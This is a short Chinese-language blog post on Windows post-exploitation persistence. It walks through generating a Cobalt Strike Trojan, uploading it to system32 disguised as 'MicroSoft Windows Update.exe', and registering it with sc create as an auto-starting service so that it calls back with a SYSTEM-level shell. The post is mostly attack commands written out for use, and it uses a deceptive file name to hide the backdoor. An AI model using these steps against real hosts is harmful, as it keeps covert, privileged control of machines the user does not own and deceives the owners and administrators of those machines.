Windows权限维持-Windows服务

最新推荐文章于 2024-03-28 17:24:36 发布

NowSec

最新推荐文章于 2024-03-28 17:24:36 发布

阅读量372

点赞数

文章标签： docker 运维 css kubernetes nginx

本文链接：https://blog.csdn.net/qq_45434762/article/details/119524679

版权

在获取到目标主机的权限后，一般需要使用一些后门技术对主机的权限进行维持，以保持我们对目标主机的长期控制在获取到目标主机的权限后，一般需要使用一些后门技术对主机的权限进行维持，以保持我们对目标主机的长期控制。

`前提`

使用服务的方式创建后面需要先获取的目标机器的system权限，并且留的后门反弹回的shell也会是system权限。

选择Attack>Packages>Windows Executable 配置好listener和OutPut后点击Generate生成并保存木马

上传木马到目标主机的system32目录下

beacon> upload /root/MicroSoft Windows Update.exe

查看上传结果

shell sc create MicroSoft_Windows_Update  binPath= "C:\Windows\system32\MicroSoft Windows Update.exe"

如需服务自启动，可在创建服务时加上参数start=auto

启动服务

查看返回的shell

# 创建一个服务
sc create ServiceName binPath= "FilePath"  # 注意在binPath=后需要有一个空格
# 启动一个服务
sc start ServiceName
# 删除一个服务
sc delete ServiceName

加入我的星球

下方查看历史文章

扫描二维码

获取更多精彩

NowSec

关注